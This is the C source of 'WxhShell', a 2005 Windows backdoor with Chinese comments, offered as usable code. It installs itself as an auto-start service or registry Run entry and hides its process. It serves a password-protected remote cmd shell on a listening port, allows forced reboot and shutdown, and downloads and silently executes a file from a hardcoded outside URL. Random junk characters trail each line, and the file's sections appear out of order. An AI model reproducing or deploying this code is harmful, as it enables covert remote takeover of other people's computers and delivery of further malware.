  // 关机 (SA^> r  
  case 'd': { ],'"iVh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dMI G2log  
    if(Boot(SHUTDOWN)) ~Ds3 -#mMy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {qs>yQ6a:-  
    else { X3~@U7DU  
    closesocket(wsh); Oz<#s{Z  
    ExitThread(0); "DX 2Mu=  
    } /38XaKc{6  
    break; y3P4]sq  
    } P\@efq@!  
  // 获取shell `<hMrhfh  
  case 's': { FyChH7  
    CmdShell(wsh); Q4g69IE  
    closesocket(wsh); FB3}M)G>M  
    ExitThread(0); bH%d*  
    break; {.Brh"yC  
  } I:;umyRH  
  // 退出 ? 0:=+%.  
  case 'x': { L3s"L.G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d9l2mJzW  
    CloseIt(wsh); bu=RU  
    break; D&DbxTi  
    } Sj v iH  
  // 离开  e `K{  
  case 'q': { +{%)}?F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R^INl@(O  
    closesocket(wsh); #K/95!)  
    WSACleanup(); eEYz A  
    exit(1); Fnd_\`9{  
    break; 4MCj*ok<  
        } 0="wxB  
  } {??bJRT  
  } ^3QJv{)Q  
{9cjitl  
  // 提示信息 zT>BC}~.b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uSH_=^yTQ  
} (N9g6V  
  } S.?DR3XLc  
%{? 9#))  
  return; )kYDN_W  
} Xwd9-:  
v z&88jt  
// shell模块句柄 x]IJ;  
int CmdShell(SOCKET sock) 8/lgM'Eux  
{ }q,dJE  
STARTUPINFO si; {W=5 J7  
ZeroMemory(&si,sizeof(si)); )G*xI`(@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xrv0%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cNye@}$lu  
PROCESS_INFORMATION ProcessInfo; .X:,]of  
char cmdline[]="cmd"; hUEA)c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yA';~V\V{>  
  return 0; wR"17z7[]  
} |<MSV KW  
B#3Q4c$  
// 自身启动模式 HumL(S'm  
int StartFromService(void) 7"OJ,Mx%  
{ xl@~K^c]  
typedef struct bL5u;iy)  
{ ?. Ip(g  
  DWORD ExitStatus; *JZlG%z  
  DWORD PebBaseAddress; vx}BT H  
  DWORD AffinityMask; >Sb3]$$  
  DWORD BasePriority; s@ 6Jz\<E  
  ULONG UniqueProcessId; "/%o'Fq  
  ULONG InheritedFromUniqueProcessId; \mWH8Z }Z  
}   PROCESS_BASIC_INFORMATION; ]Qe"S>,?`  
}]=@Y/p  
PROCNTQSIP NtQueryInformationProcess; ?P/73p  
kM(m$Oo.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RYdI$&]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5=8t<v1Bn  
!lBK!'0  
  HANDLE             hProcess; lNTbd"}$:  
  PROCESS_BASIC_INFORMATION pbi; 5qFHy[I A  
ZH~Wn#Wp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DcE4r>8B  
  if(NULL == hInst ) return 0; Vlge*4q  
Z*=$n_ G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l(\F2_,2W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tYhcoV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g{f7 } gTG  
!7p&n3dz  
  if (!NtQueryInformationProcess) return 0; QlS_{XV  
s'bTP(wl9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,5AEtoF  
  if(!hProcess) return 0; -aV( 6i*n  
Q 9E.AN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &y7xL-xP  
+k[w)7Q  
  CloseHandle(hProcess); ls~9qkAyLx  
#)3 B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "2p\/VfA  
if(hProcess==NULL) return 0; ~YByyJG   
dnh~An 9  
HMODULE hMod; fB]NEx|o~  
char procName[255]; ^]Z@H/]H  
unsigned long cbNeeded; E'NS$,h  
2jxIr-a1G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }(,{^".[}  
h\Q@zR*0a  
  CloseHandle(hProcess); e3?z^AUXm  
) $0>L5d:  
if(strstr(procName,"services")) return 1; // 以服务启动 mu5r4W47  
HJP~ lg  
  return 0; // 注册表启动 |dDKO  
} ZT8LMPC  
&9"Y:),  
// 主模块 }6=? zs}  
int StartWxhshell(LPSTR lpCmdLine) t0Jqr)9}6  
{ ?Iq{6O>D.  
  SOCKET wsl; 6YV"H  
BOOL val=TRUE; N(2M  w:}  
  int port=0; ]&dPY[~,/i  
  struct sockaddr_in door; ;>S|?M4GZ  
Q7i(M >|O  
  if(wscfg.ws_autoins) Install(); ?7J::}R  
ap2g^lQXq  
port=atoi(lpCmdLine); s+z5"3'n  
\jmZ t*c  
if(port<=0) port=wscfg.ws_port; eN\+  
NEvNj  
  WSADATA data; MSRk|0Mcr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i0zrXaKV  
tU *`X(;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b=U3&CV9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p#_ 5w  
  door.sin_family = AF_INET; GLX{EG9Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EVC]B}  
  door.sin_port = htons(port); M|zTs\1I  
! h92dH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eTay/i<-  
closesocket(wsl); 7[!dm_  
return 1; *aFY+.;U`  
} 29m$S7[  
wNn=JzP  
  if(listen(wsl,2) == INVALID_SOCKET) { pf%; *  
closesocket(wsl); F^`+.G\  
return 1; Nwe-7/Q  
} ?%Ww3cU+J  
  Wxhshell(wsl); e8#83|h  
  WSACleanup(); <XtE|LG  
@|bJMi  
return 0; mx UyD[|  
s`0IyQXVU  
} W/}_y8q  
L#J2J$ =  
// 以NT服务方式启动 &`m$Zzl;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #9F>21UU  
{ E.+%b;Eqe  
DWORD   status = 0; 9NNXj^7  
  DWORD   specificError = 0xfffffff; i5&,Bpfo-  
uG +ZR: _  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ST;o^\B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `w`F-ke]I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ; (A-  
  serviceStatus.dwWin32ExitCode     = 0; scYqU7$%T  
  serviceStatus.dwServiceSpecificExitCode = 0; 6:6A" A  
  serviceStatus.dwCheckPoint       = 0; YDj5+'y  
  serviceStatus.dwWaitHint       = 0; Jb^{o+s53  
29VX-45  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xplV6q`  
  if (hServiceStatusHandle==0) return; Wq"-T.i  
]f&f_"D  
status = GetLastError(); e+D]9wM8  
  if (status!=NO_ERROR) >d *`K  
{ 8S8UV(K0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TbN{ex*  
    serviceStatus.dwCheckPoint       = 0; ,D]g]#Lq  
    serviceStatus.dwWaitHint       = 0; 72.Msnn  
    serviceStatus.dwWin32ExitCode     = status; pnyu&@e  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bq1}"092  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ewHs ]V+U  
    return; !n P4S)A  
  } Q\T?t  
8 H3u"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kFC*,  
  serviceStatus.dwCheckPoint       = 0; nc\2A>f`  
  serviceStatus.dwWaitHint       = 0; 0:<Y@#L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +."cbqGP_q  
} k_ywwkG9lU  
<VutwtA  
// 处理NT服务事件,比如:启动、停止 s{8=Q0^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G--(Ef%v'  
{ BV }CmU&DA  
switch(fdwControl) MGxkqy?  
{ OP"_I!t  
case SERVICE_CONTROL_STOP: )fxn bBz{  
  serviceStatus.dwWin32ExitCode = 0; >cg)Nq D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nk7>iK!i  
  serviceStatus.dwCheckPoint   = 0; 9V[}#(f$  
  serviceStatus.dwWaitHint     = 0; gIusp917  
  { 0@{0#W3R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @rDBK] V  
  } *|<~IQg  
  return; wfpl]d!  
case SERVICE_CONTROL_PAUSE: K~I?i/P=z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dr+(C[=  
  break; vt^7:! r  
case SERVICE_CONTROL_CONTINUE: sQ,xTWdj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lX)AbK]nb  
  break; k?TZY|_  
case SERVICE_CONTROL_INTERROGATE: \AH5 zdK  
  break;  _cj=}!I  
}; hliO/3g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c$^v~lQS  
} 1X5Yp|Ho  
NsSZ?ky  
// 标准应用程序主函数 l|E4 7@#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >]ZE<.  
{ P}UxA!  
H9_iTGBQ  
// 获取操作系统版本 2f@Cy+W'[  
OsIsNt=GetOsVer(); m'"H1~BW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l>`66~+s,`  
}^$1<GT  
  // 从命令行安装 Ry"4v_e9  
  if(strpbrk(lpCmdLine,"iI")) Install(); #+V4<o  
cL ~WDW/  
  // 下载执行文件 a0gg<Ml  
if(wscfg.ws_downexe) {  ;<B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s%`l>#H  
  WinExec(wscfg.ws_filenam,SW_HIDE); VHMQY*lk  
} 0Xw>_#Y/xS  
1[u{y{9 q  
if(!OsIsNt) { 9_iwikD  
// 如果时win9x,隐藏进程并且设置为注册表启动 [fV"tf;  
HideProc(); M j6,VD9L  
StartWxhshell(lpCmdLine); }r,xx{.u7  
} |N"K83_pr  
else W Zm8!Y  
  if(StartFromService()) czpu^BT;;T  
  // 以服务方式启动 }2"W0ZdWD  
  StartServiceCtrlDispatcher(DispatchTable); R=D}([pi  
else oH?:(S(  
  // 普通方式启动 u)I\R\N  
  StartWxhshell(lpCmdLine); PpBptsb^|J  
EPH" 5$8  
return 0; P5 oS 1iu*  
} #$-?[c$>  
oYTLC@98}  
~%g,Uypi  
,d38TN  
=========================================== zIu/!aw  
5QuRwu_  
+y8Y@e}>  
WysWg7,r  
&Tuj`DL  
zhd1)lgY  
" 3*2~#dh=  
:r hB=  
#include <stdio.h> <I tS_/z  
#include <string.h> f_[dFKoX  
#include <windows.h> u/6if9B  
#include <winsock2.h> 9N)I\lcY  
#include <winsvc.h> Qkx*T9W   
#include <urlmon.h> yq k8)\p  
F0z7".)  
#pragma comment (lib, "Ws2_32.lib") .'_}:~  
#pragma comment (lib, "urlmon.lib") z,x )Xx  
Ao}<a1f  
#define MAX_USER   100 // 最大客户端连接数 dVj2x-R)  
#define BUF_SOCK   200 // sock buffer :i?6#_2IC  
#define KEY_BUFF   255 // 输入 buffer h8 N|m0W  
5R~M@   
#define REBOOT     0   // 重启 5$'[R ;r  
#define SHUTDOWN   1   // 关机 tzGQo5\  
`4'=&c9  
#define DEF_PORT   5000 // 监听端口 R2a99#J  
iz^uj  
#define REG_LEN     16   // 注册表键长度 -V}xvSVg  
#define SVC_LEN     80   // NT服务名长度 Kc2y  
gDLS)4^w  
// 从dll定义API EJTM >Rpor  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nb=mY&q}~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |C z7_Rn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )1M2}11uS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,3T"fT-(  
Uoe;=P@  
// wxhshell配置信息 P658 XKE  
struct WSCFG { -sKtT 9o  
  int ws_port;         // 监听端口 *nJ,|T  
  char ws_passstr[REG_LEN]; // 口令 ou~$XZ7oi  
  int ws_autoins;       // 安装标记, 1=yes 0=no >4Tk#+%Jj  
  char ws_regname[REG_LEN]; // 注册表键名 DGb1_2ZQ  
  char ws_svcname[REG_LEN]; // 服务名 tJ K58m$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lW-h @  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {\0V$#q   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @XM*N7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Gc{cNbXIA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z^%a 1>`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 saiXFM 7J  
3w"JzC@  
}; vu^mLc  
!(?7V  
// default Wxhshell configuration )AkBo  
struct WSCFG wscfg={DEF_PORT, &T0]tzk*,  
    "xuhuanlingzhe", 6wWhM&Wd  
    1, YlbX_h2S"  
    "Wxhshell", .-M5.1mo\(  
    "Wxhshell", xcWR#z{z  
            "WxhShell Service", lqmQQ*Z  
    "Wrsky Windows CmdShell Service", 2{~`q  
    "Please Input Your Password: ", $ MH;v_'a  
  1, r[}nrH&8  
  "http://www.wrsky.com/wxhshell.exe", T%6JVFD  
  "Wxhshell.exe" "X2'k@s`  
    }; kOD=H-vSi  
8} :$=n4&  
// 消息定义模块 Y0|){&PCt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iY07lvG<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qw2-Vv4!"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jGz~}&B  
char *msg_ws_ext="\n\rExit."; }vU/]0@,E  
char *msg_ws_end="\n\rQuit."; 4Xa] yA =  
char *msg_ws_boot="\n\rReboot..."; '=Zm[P,  
char *msg_ws_poff="\n\rShutdown..."; ?<3 d Fb  
char *msg_ws_down="\n\rSave to "; 9AhA"+?  
m=@xZw<  
char *msg_ws_err="\n\rErr!"; k6ry"W3  
char *msg_ws_ok="\n\rOK!"; YAT@xZs-  
7,p.M)t)  
char ExeFile[MAX_PATH]; ^Z9bA(w8  
int nUser = 0; J+IItO4%  
HANDLE handles[MAX_USER]; f<wYJGI  
int OsIsNt; z/4<x?}+hE  
Uvm.|p_V  
SERVICE_STATUS       serviceStatus; I@Hx LEGj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iu8Q &Us0P  
96~y\X@x  
// 函数声明 LJPJENtFIs  
int Install(void); "z Y~*3d  
int Uninstall(void); (BPp2^  
int DownloadFile(char *sURL, SOCKET wsh); 8=L"rekV_  
int Boot(int flag); {v]L|e%{  
void HideProc(void); a5t&{ajJ  
int GetOsVer(void); 8j70X <R  
int Wxhshell(SOCKET wsl); o"BED! /  
void TalkWithClient(void *cs); NO[A00m|OL  
int CmdShell(SOCKET sock); : H;S"D  
int StartFromService(void); m0ra  
int StartWxhshell(LPSTR lpCmdLine); }YdC[b$j^  
&2XH.$Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i4i9EvWp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vi^YtA  
_";w*lg}  
// 数据结构和表定义 rrRv 7J&Q  
SERVICE_TABLE_ENTRY DispatchTable[] = 5?`4qSUz  
{ V? tH/P  
{wscfg.ws_svcname, NTServiceMain}, LJ@(jO{z  
{NULL, NULL} +`Q]p" G  
}; "Tser*i )  
2@Yu: |d4U  
// 自我安装 >v@3]a i  
int Install(void) 1T|")D  
{ `B3-#!2X  
  char svExeFile[MAX_PATH]; Izu____  
  HKEY key; 4w ,&#L  
  strcpy(svExeFile,ExeFile); w%qnH e9  
%8u9:Cl):  
// 如果是win9x系统,修改注册表设为自启动 #2U#h-vI  
if(!OsIsNt) { E~WbV+,3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]j:k!=Ss?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MF'Z?M  
  RegCloseKey(key); yOEy3d=*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #N`G2}1J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E`JW4)AH  
  RegCloseKey(key); R_/;U&R  
  return 0; :$u[1&6  
    } 6 ~0kb_td  
  } cKkH*0B5  
} ~L<"]V+B  
else { d'MZ%.#  
QObVJg,GD  
// 如果是NT以上系统,安装为系统服务 02[m{a-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q?1.GuF  
if (schSCManager!=0) WcSvw  
{ Nm&'&L%Ch  
  SC_HANDLE schService = CreateService *cWHl@4  
  ( 7Ji'7$  
  schSCManager, )C?H m^ #  
  wscfg.ws_svcname, ej_u):G*  
  wscfg.ws_svcdisp, #Ko I8U"  
  SERVICE_ALL_ACCESS, |g}r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8*/;W&7y  
  SERVICE_AUTO_START, azIhp{rH w  
  SERVICE_ERROR_NORMAL, i@rUZYF  
  svExeFile, l#v52  
  NULL, z{ eZsh b  
  NULL, jSvq1$U  
  NULL, f:\)! &W  
  NULL, [n/c7Pe  
  NULL / S' +  
  ); S'|PA7a}h  
  if (schService!=0) o N A ]G]  
  { Ewkx4,`Ff  
  CloseServiceHandle(schService); "AjC2P],  
  CloseServiceHandle(schSCManager); h@O\j&#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ",aNYJR>*!  
  strcat(svExeFile,wscfg.ws_svcname); `]l` t"x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B<BS^waU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \e4AxLP  
  RegCloseKey(key); }U'9 d#N  
  return 0; 9a=:e=q3#  
    } $t& o(]m  
  }  ]'% iR  
  CloseServiceHandle(schSCManager); ;Ngk"5  
} pJe!~eyHm  
} S+.>{0!S"  
^`lDw  
return 1; | X1axRO  
} 'L3MHTM>[  
\36 G``e  
// 自我卸载 nU{Qi;0  
int Uninstall(void) ?0dmw?i  
{ }[|9vF"g.y  
  HKEY key; [g}#R#Y)  
vde!k_,wZ  
if(!OsIsNt) { ^"I@ 8k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w+ ')wyB  
  RegDeleteValue(key,wscfg.ws_regname); hC"'cUrcN  
  RegCloseKey(key); bR~Xog  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TDk[,4  
  RegDeleteValue(key,wscfg.ws_regname); HTiLA%%6  
  RegCloseKey(key); {9|*au(K  
  return 0; ;|XX^  
  } 0#'MR.,  
} g"'BsoJ  
} zx8@4?bK  
else { 9C?SEbC  
b 4^O=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |;|r[aU  
if (schSCManager!=0) :Wx7a1.Jz  
{ k*2khh-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /8]K}yvR  
  if (schService!=0) -32P}58R  
  { '")'h  
  if(DeleteService(schService)!=0) { `"ks0@^U  
  CloseServiceHandle(schService); %k?/pRv$>  
  CloseServiceHandle(schSCManager); Q'=7#_  
  return 0; gp$]0~[tO  
  } 0OG 3#pE  
  CloseServiceHandle(schService); )skpf%g  
  } j< h1s%  
  CloseServiceHandle(schSCManager); 2K/t[.8  
} {7oPDP  
} o8:9Y js  
#w5%^ HwO  
return 1; tR9iFv_  
} ?m 5"|f\  
0@{bpc rc  
// 从指定url下载文件 k1g-%DB  
int DownloadFile(char *sURL, SOCKET wsh) l%Ke>9C  
{ R*cef  
  HRESULT hr; W.{+0xx  
char seps[]= "/"; H~#$AD+H  
char *token; U9PI#TX &O  
char *file; uAnL`  
char myURL[MAX_PATH]; W!" $g  
char myFILE[MAX_PATH]; v~AshmP  
k t!@}QP  
strcpy(myURL,sURL); I _Lm[  
  token=strtok(myURL,seps); :/SGB3gb1t  
  while(token!=NULL) xv147"w'v  
  { p)Q5fh0-  
    file=token; )Z4iM;4]  
  token=strtok(NULL,seps); {G3Ok++hc  
  } 5ad@}7&  
_-{=Z=?6}  
GetCurrentDirectory(MAX_PATH,myFILE); 1+3-Z>^e  
strcat(myFILE, "\\"); 3TjyKB *!  
strcat(myFILE, file); dzbbFvG  
  send(wsh,myFILE,strlen(myFILE),0); :8bq0iqsV  
send(wsh,"...",3,0);  \>"Zn7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X xwcvE  
  if(hr==S_OK) KRd'!bG=1  
return 0; XD6Kp[s  
else o@ ^^;30  
return 1; ->{\7|^  
#%$@[4 "V  
} YVF@v-v-,  
[Pq |6dz  
// 系统电源模块 >2K'!@ ~'  
int Boot(int flag) 3zfpFgD!  
{ Lf a&JKd  
  HANDLE hToken; p;o"i_!  
  TOKEN_PRIVILEGES tkp; &'PLOyWw  
L?a4>uVY  
  if(OsIsNt) { 2\64~a^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RFe># o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y@UW\d*'%I  
    tkp.PrivilegeCount = 1; Zd-QZ<c";t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3zfiegY@wm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~3Qa-s;g  
if(flag==REBOOT) { PQF 40g1}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qD"~5vtLqQ  
  return 0; V1nqEdhk  
} beYGP  
else { wS$ 'gKA6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Eo Z }I  
  return 0; )9/iH(  
} %( %EEt  
  } ]{|l4e4P  
  else { w0=/V[fs  
if(flag==REBOOT) { \zA3H$Df~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g=v'[JPd  
  return 0; &,Rye Q  
} 7?_g m>]a  
else { k&K'FaM!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {<Y!'WL{  
  return 0; r4 5}o  
} !p36OEx  
} X H!n{Of  
d{WOO)j  
return 1; .}!.: |  
} 3h o'\Ysu/  
+Swl$ab  
// win9x进程隐藏模块 0#Q]>V@rO4  
void HideProc(void) $LU|wW  
{ Mz) r'  
+WR'\15u   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :zfMRg  
  if ( hKernel != NULL ) RcR-sbR  
  { D&N3LH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U CFw+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `5x0p a  
    FreeLibrary(hKernel); Xk/:a}-l  
  } j:48l[;ed  
r_rdd}=b'  
return; )g-0b@z!n  
} voP #}fD  
Kp;<z<  
// 获取操作系统版本 ND e FY  
int GetOsVer(void) nhm#_3!6A  
{ fpzEh}:H\  
  OSVERSIONINFO winfo; (YPG4:[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4eaH.&&  
  GetVersionEx(&winfo); .",BLuce  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b?M. 0{"H  
  return 1; D iHj!tZN  
  else ^h`rA"F\  
  return 0; Hp(41Eb,  
} :q2RgZE  
5Ktll~+:#  
// 客户端句柄模块 - ikq#L){  
int Wxhshell(SOCKET wsl) :de4Fje/4y  
{ n34d "l3  
  SOCKET wsh; h^{ aG])  
  struct sockaddr_in client; r24 s_  
  DWORD myID; kMa|V0  
^}z:FI   
  while(nUser<MAX_USER) /Vv)00  
{ ~( rZ)  
  int nSize=sizeof(client); {@" F/G+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g'-hSV/@}@  
  if(wsh==INVALID_SOCKET) return 1; tM:$H6m/(  
S =sL:FC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZM=eiJZ  
if(handles[nUser]==0) hJ8B&u(  
  closesocket(wsh); ']X0g{%  
else m[N&UM#  
  nUser++; q.ppYXJUXi  
  } `+Mva  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kZ^wc .  
UG]5Dxk  
  return 0; W,t`DMC  
} yS#D$q2_  
5RSP.Vyx{  
// 关闭 socket `;Fs  
void CloseIt(SOCKET wsh) sY}0PB  
{ dr"@2=Z  
closesocket(wsh); D_w<igu!3  
nUser--; VhgcvS@V  
ExitThread(0); s"wz !{G4  
} =NRiro  
Tkh?F5l  
// 客户端请求句柄 dTU`@!f  
void TalkWithClient(void *cs) (b.Mtd  
{ lqoVfj'6M  
w-wJhc|  
  SOCKET wsh=(SOCKET)cs; (Y?}'?  
  char pwd[SVC_LEN]; w/fiNY5FZ  
  char cmd[KEY_BUFF]; LA,G>#?H  
char chr[1]; Fow{-cs_p  
int i,j; 8 vvNn>Q  
bde6 ;=oM  
  while (nUser < MAX_USER) { Y$ ZDJNz  
3KKq1][  
if(wscfg.ws_passstr) { &e4EZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AeW_W0j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Z97L  
  //ZeroMemory(pwd,KEY_BUFF); R"71)ob4  
      i=0; vrsOA@ee3H  
  while(i<SVC_LEN) { pD6a+B\;k  
'&y+,2?;Y[  
  // 设置超时 rAu@`H?  
  fd_set FdRead; \#'m([<e  
  struct timeval TimeOut; hl+ T  
  FD_ZERO(&FdRead); 1~*JenV-  
  FD_SET(wsh,&FdRead); %bTXu1  
  TimeOut.tv_sec=8; *&F~<HC2+  
  TimeOut.tv_usec=0; w 1O)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yjChnp Cc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zhACNz4tJ  
7(zY:9|(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SciEHI#  
  pwd=chr[0]; "3a_C,\  
  if(chr[0]==0xd || chr[0]==0xa) { VZU@G)rd  
  pwd=0; wOl]N2<  
  break; iM{aRFL  
  } h{VGh kU9f  
  i++; pW2-RHGJY  
    } \XG\  
u|&a!tOf2  
  // 如果是非法用户,关闭 socket !2=eau^p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .iEzEmu  
} Io)@u~yz  
g _u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8.D9OpU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J|o )c~  
R<8!lQ4s  
while(1) { (w, Gv-S  
h4? 'd+K  
  ZeroMemory(cmd,KEY_BUFF); 6\/(TW&  
&28%~&L  
      // 自动支持客户端 telnet标准   ^@xn3zJ  
  j=0; 9iOTT%pq  
  while(j<KEY_BUFF) { j1P#({z[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7cT ~u  
  cmd[j]=chr[0]; _O>8jH!#  
  if(chr[0]==0xa || chr[0]==0xd) { dmE.yVI"O  
  cmd[j]=0; ?(j:F2dU~  
  break; ?{-y? %y  
  } HY'-P&H5(  
  j++; q*K.e5"'  
    } o[K,(  
|1"n\4$  
  // 下载文件 h-RL`X  
  if(strstr(cmd,"http://")) { | <l=i(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R;2 Z~P  
  if(DownloadFile(cmd,wsh)) M!b"c4|<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =(>pv,  
  else p3{ 3[fDx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q.L.B7'e7  
